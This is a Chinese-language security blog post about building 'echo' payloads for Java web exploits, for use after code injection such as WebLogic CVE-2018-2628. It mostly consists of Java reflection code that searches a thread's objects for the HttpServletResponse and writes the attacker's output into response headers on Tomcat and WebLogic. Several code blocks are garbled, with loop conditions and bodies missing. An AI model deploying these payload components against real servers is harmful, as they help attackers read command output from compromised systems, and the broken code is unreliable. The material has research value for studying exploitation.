背景
JavaWeb 回显技术是做漏洞检测和利用绕不过去的。由于反连检测会受网络影响,对于内网或是网络环境差的场景有漏报的风险。所以本文研究下 JavaWeb 的回显。
回显原理
只看 Java 层面上的回显,一次 HTTP 的请求到响应大概像下面这样,这里我将 Servlet、Socket 抽象出来,方便理解。
可以看见 Java 对于 http 请求处理还是基于 Socket 的,Java 可以通过 JNI 调用系统 api 来读写 Socket。每个 TCP 连接对应一个文件描述符,也对应着一个 Socket 对象,我们可以通过遍历文件描述符实现遍历 Socket,通过 Remote 端的 ip 和端口可以过滤出当前 HTTP 请求的 Socket,就可以随意写响应包了。再往上一层看,如果想开发 Java EE 项目,那么要先实现一个 Servlet,处理请求时要处理 HttpServletRequest、HttpServletResponse。那么如果能拿到 HttpServletResponse 就可以写响应了。
对比两种方法,如果使用 Socket 回显,优点在于很通用。但缺点是在恶意代码执行时,请求信息已经被读取了,所以只能通过 ip、port 区分远程目标,写入响应,所以如果网络经过转发,不能获取到源 ip 就会有问题。如果使用 Servlet 回显,难点在于如何快速查找实现了 HttpServletRequest 的对象。本文主要针对这个问题进行分析。
对象查找
由于 Java 是面向对象编程,且不存在闭包,所以对象只能像一棵树一样,不在这棵树上的对象就会被GC,所以我们查找线程对象,递归找它的 field、class 静态成员。
暴力查找
其实已经有师傅实现了查找工具:https://github.com/c0ny1/java-object-searcher,但不适合直接做 payload。我这里写了一个简略版的暴力查找工具(这里用了树储存所有路径,如果做为 payload,其实可以再精简下的)。
package com.example.springtest.utils;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.*;
import java.util.regex.Pattern;
public class Searcher1 {
int maxDeep;
Pattern pattern;
public Searcher1(int n){
maxDeep = n;
pattern = Pattern.compile("(java\.lang\.(String|Integer|Boolean|Float|Double|Long|Class|ThreadGroup))|(jdk\..*)|(.*Log.*)");
}
public Node SearchResponse(Object o) {
Node root = new Node(String.format("(%s)%s",o.getClass().getName(),"currentThread"),o);
if (searchResponse(o,root,new HashSet(),0)){
return root;
}else {
return null;
}
}
boolean searchResponse(Object o, Node node, Set searched, int deep) {
if (o instanceof HttpServletResponse){
return true;
}
if (o == null){
return false;
}
deep++;
if (deep > maxDeep){
return false;
}
if (searched.contains(o)){
return false;
}
if (pattern.matcher(o.getClass().getName()).find()){
return false;
}
searched.add(o);
if (o.getClass().isArray()){ // 数组
try{
Object[] os = (Object[]) o;
for (int i = 0; i 0){
return true;
}
return false;
}
}
对于通用回显 payload,最简单的实现方法就是在 payload 中查找 Response 对象。缺点是而且对于小机器来说可能是比较大的性能开销,会有响应慢,甚至丢失的问题。但好处是很通用,所以也不是不可以接受。
模糊查找
暴力查找顾名思义,查找比较暴力,速度慢,但成功率高。那有没有办法通过一些特征,对查找过程进行剪枝呢?例如:一般会在线程的 table 中,一般 HttpServletResponse 实现对象的类型名或属性名中会有 Response 相关字符串等等特征。根据上面暴力查找到的路径提取特征,在查找过程中根据特征有指向性地查找,速度会快很多,特征越宽泛查找成功率越高,速度越慢,相反就成功率低,速度快。
下面是调试时的部分代码:
package com.example.springtest.utils;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.*;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.regex.Pattern;
public class Searcher {
Pattern pattern = null;
int maxDeep = 0;
HashMap typesRecord = null;
public class SearchResult{
public Object o;
public List path;
public SearchResult(Object o,List p){
this.o = o;
path = p;
}
}
public Searcher(){
pattern = Pattern.compile("(java\.lang\.(String|Integer|Boolean|Float|Double|Long|Class|ThreadGroup))|(jdk\..*)|(.*Log.*)");
typesRecord = new HashMap();
}
public SearchResult FindObjectByFeature(Object o, String features, int maxSingleFeatureDeep,int maxTotalDeep) throws IllegalAccessException {
String[] ds = features.split(",");
Pattern[] array = new Pattern[ds.length];
for (int i = 0; i maxTotalDeep){
return new SearchResult(null,null);
}
List newTrace = new ArrayList(trace.size());
newTrace.addAll(trace);
newTrace.add(o);
// for (int i = 0; i maxDeep){
maxDeep = deep;
}
if (pattern.matcher(o.getClass().getName()).find()) {
return new SearchResult(null,null);
}
if (o.getClass().isArray()){
try{
for (Object o1 : (Object[]) o) {
SearchResult res = findObjectByFeature(o1, features,newTrace,searched, n,maxSingleFeatureDeep,deep+1,maxTotalDeep);
if (res.o!=null){
return res;
}
}
}catch (Exception e){
}
}
if (o instanceof Iterable){
try{
Iterator iterator = ((Iterable) o).iterator();
while (iterator.hasNext()) {
Object o1 = iterator.next();
SearchResult res = findObjectByFeature(o1, features,newTrace,searched, n,maxSingleFeatureDeep,deep+1,maxTotalDeep);
if (res.o!=null){
return res;
}
}
}catch (Exception e){
}
}
List nextTargets = new ArrayList();
List uselessFields = new ArrayList();
Class clazz = o.getClass();
String cName = clazz.getName();
if (typesRecord.containsKey(cName)){
typesRecord.put(clazz.getName(),typesRecord.get(clazz.getName())+1);
}else{
typesRecord.put(clazz.getName(),1);
}
// 找出可疑目标
do {
Field[] fields = clazz.getDeclaredFields();
for (Field field :
fields) {
try {
field.setAccessible(true);
Object fieldObj = field.get(o);
if (fieldObj == null || pattern.matcher(fieldObj.getClass().getName()).find()) {
continue;
}
if (features.length != 0 && features[0].matcher(fieldObj.getClass().getName()).find()) {
nextTargets.add(fieldObj);
} else {
uselessFields.add(fieldObj);
}
} catch (Exception ignored) {
}
}
clazz = clazz.getSuperclass();
} while (clazz != null && clazz != Object.class);
// 先搜索可疑目标
if (nextTargets.size() != 0){
for (Object nextTarget :
nextTargets) {
SearchResult res = findObjectByFeature(nextTarget, Arrays.copyOfRange(features, 1, features.length),newTrace,searched, maxSingleFeatureDeep,maxSingleFeatureDeep,deep+1,maxTotalDeep);
if (res.o!=null){
return res;
}
}
}
// 搜索非直接目标
if (uselessFields.size() != 0){
for (Object nextTarget :
uselessFields) {
if (nextTarget instanceof HttpServletResponse){
return new SearchResult(nextTarget,newTrace);
}
SearchResult res = findObjectByFeature(nextTarget, features,newTrace,searched, n-1,maxSingleFeatureDeep,deep+1,maxTotalDeep);
if (res.o!=null){
return res;
}
}
}
return new SearchResult(null,null);
}
public void DumpInfo(){
System.out.printf("最大递归深度: %dn",maxDeep);
List list = new ArrayList(typesRecord.entrySet());
AtomicInteger s = new AtomicInteger();
typesRecord.forEach((c,c1)->{
s.addAndGet(c1);
});
System.out.println("访问对象数量: "+s);
Collections.sort(list, (o1, o2) -> o2.getValue().compareTo(o1.getValue()));
if (list.size() > 0){
System.out.println("访问次数最多的类是: "+list.get(0).getKey()+", 次数是: "+list.get(0).getValue());
}
for (Map.Entry d:
list) {
System.out.printf("%s: %sn",d.getKey(),d.getValue());
}
}
}
精确查找
一般在写回显时师傅们都是通过调试或 Java-object-searcher 查找路径,然后根据路径写回显 payload,实现针对某种框架、中间件的回显。
但如果想支持多种框架、中间件,简单粗暴的办法就是将这些 payload 揉到一起,但这样就会导致 payload 过大。
所以,既然知道了路径,那可以尝试将路径作为规则,控制查找过程,精确查找 Response 对象。
生成路径图
下面是部分代码:
package com.example.springtest.utils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.util.Base64;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.*;
import java.util.regex.Pattern;
public class searchShell {
String hash;
String name;
public Object Data;
List Children;
searchShell(String name,Object o){
this.name = name;
this.hash = String.valueOf(System.identityHashCode(o));
Data = o;
Children= new ArrayList();
}
void Add(searchShell o){
Children.add(o);
}
void toDot(PrintWriter out) {
out.printf(" "%s"", hash);
if (Data != null) {
out.printf(" [label="%s"]", name);
}
out.println(";");
for (searchShell child : Children) {
child.toDot(out);
out.printf(" "%s" -> "%s";n", hash, child.hash);
}
}
public String dump() {
ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
PrintWriter out = new PrintWriter(new OutputStreamWriter(byteStream));
out.println("digraph G {");
toDot(out);
out.println("}");
out.close();
return byteStream.toString();
}
private List getAllTerminalNodes(searchShell searchShell){
List res = new ArrayList();
if (searchShell.Children.size() == 0){
res.add(searchShell);
}else{
for (searchShell n :
searchShell.Children) {
for (searchShell r :getAllTerminalNodes(n)
) {
res.add(r);
}
}
}
return res;
}
public List GetAllTerminalNodes(){
Set set = new HashSet();
List res = new ArrayList();
for (searchShell n :
getAllTerminalNodes(this)) {
int hash = System.identityHashCode(n.Data);
if (!set.contains(hash)){
res.add(n);
set.add(hash);
}
}
return res;
}
int maxDeep;
Pattern pattern;
public searchShell(){
System.out.println("new searchShell");
maxDeep = 20;
pattern = Pattern.compile("(java\.lang\.(String|Integer|Boolean|Float|Double|Long|Class|ThreadGroup))|(jdk\..*)|(.*Log.*)");
try{
searchShell root = this.SearchResponse(Thread.currentThread());
List res = root.GetAllTerminalNodes();
int i = 0;
for (searchShell r :
res) {
String tag = String.format("tag%d",i);
Field req = r.Data.getClass().getDeclaredField("request");
req.setAccessible(true);
Object o = req.get(r.Data);
if (o instanceof HttpServletRequest){
if (((HttpServletRequest)o).getHeader("tag").equals("1")){
((HttpServletResponse)r.Data).addHeader(tag,Base64.getEncoder().encodeToString(root.dump().getBytes()));
}
}
i++;
}
}catch (Exception e){
}
}
public searchShell SearchResponse(Object o) {
searchShell root = new searchShell(String.format("(%s)%s",o.getClass().getName(),"currentThread"),o);
if (searchResponse(o,root,new HashSet(),0)){
return root;
}else {
return null;
}
}
boolean searchResponse(Object o, searchShell searchShell, Set searched, int deep) {
if (o instanceof HttpServletResponse){
return true;
}
if (o == null){
return false;
}
deep++;
if (deep > maxDeep){
return false;
}
if (searched.contains(o)){
return false;
}
if (pattern.matcher(o.getClass().getName()).find()){
return false;
}
searched.add(o);
if (o.getClass().isArray()){ // 数组
try{
Object[] os = (Object[]) o;
for (int i = 0; i 0){
return true;
}
return false;
}
}
这个 payload 是一个自动查找 Response 的,查找结果是一棵树,如果查找成功会根据这棵树生成一个 dot 脚本,并在 header 回显,如图:
在本机中将脚本生成图片,一共有4条路径,2个 Response 对象,但是否条条大路通回显还需要测一下。
测试回显
测试下这两个 Response 对象。
两个都可以成功在 Header 回显。
筛选请求
找到 Response 了,那怎么判断当前 Response 是对应着我们发出的请求呢?(如果不对应上可能会回显在别人的请求中)本来把希望寄托在 HttpServletResponse 接口,但看了下没有定义任何获取 Request 相关的函数(这难道不应该把上下文存一下吗?)。
当前测试的代码是在 tomcat 环境下,HttpServletResponse 的实现类是 org.apache.catalina.connector.Response,其类定义中有 request 属性,我又看了下 weblogic 的实现类是 weblogic.servlet.internal.ServletResponseImpl,也定义了 request 属性,而且刚好都是 HttpServletRequest 的实现。所以可以猜测,虽然 HttpServletResponse 未定义获取请求对象的接口,但是开发者们都很自觉的在实现类里定义了。
既然有 Response 对象,且存在 request 属性(至少 tomcat 和 weblogic 存在,如果有没定义 request 的,先喷一下他们开发,再改 payload 吧),那么我们就可以筛选出带有特定标签的请求做回显了。
如图:
简化查找过程
根据上面暴力查找得到的路径图,我尝试将最短路径作为规则,并让它根据规则进行查找,对于上面的环境,我选择这条路径做为规则:
weblogic 环境:vulhub/weblogic/CVE-2018-2628,通过加载暴力查找 .class,得到路径图如下,只有一个对象。
下面根据路径规则,自动查找 Response,这里暂时只加了 Tomcat 和 Weblogic 的规则,后续可以通过加入更多的规则。
代码如下:
package com.example.springtest;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
public class multiEcho {
public static Object getField(Object o,String feature) {
int n = 0;
for (Class clazz = o.getClass(); clazz != null; clazz = clazz.getSuperclass(),++n) {
try {
Field field = clazz.getDeclaredField(feature);
field.setAccessible(true);
return field.get(o);
} catch (Exception e) {
if (n > 2){
return null;
}
}
}
return null;
}
public static Object getTargetByRouteFeatures(Object o,String[] features) throws Exception {
for (String feature:
features) {
String[] split = feature.split("\|");
o = getField(o,split[0]);
if (o==null)
return null;
if (o.getClass().isArray() && split.length > 1){
for (int i = 0; i < Array.getLength(o); i++) {
Object o1 = Array.get(o,i);
if (o1!=null)
o1 = getTargetByRouteFeatures(o1,split[1].split("_"));
if (o1!=null){
o = o1;
break;
}
}
}
}
if (o instanceof HttpServletResponse){
return o;
}
return null;
}
public multiEcho() throws Exception{
String[] rules = {"workEntry,response","threadLocals,table|value_response,response"};
for (int i = 0; i < rules.length; i++) {
try{
HttpServletResponse rsp = (HttpServletResponse) getTargetByRouteFeatures(Thread.currentThread(),rules[i].split(","));
Field req = rsp.getClass().getDeclaredField("request");
req.setAccessible(true);
Object o = req.get(rsp);
if (o instanceof HttpServletRequest){
if (((HttpServletRequest)o).getHeader("tag").equals("1")){
((HttpServletResponse)rsp).addHeader("tag","haha");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}
}
总结
本文提出了几种解决方案,包括暴力查找、模糊查找、精确查找(基于规则查找),各有优缺点。基于规则的查找优点在于每次添加一种新的框架、中间件支持只要加一个规则,有效的减少了 payload 体积。而规则可以通过 payload 生成路径图,选取最短路径来编写。欢迎师傅们有更好的想法或建议可以一起交流。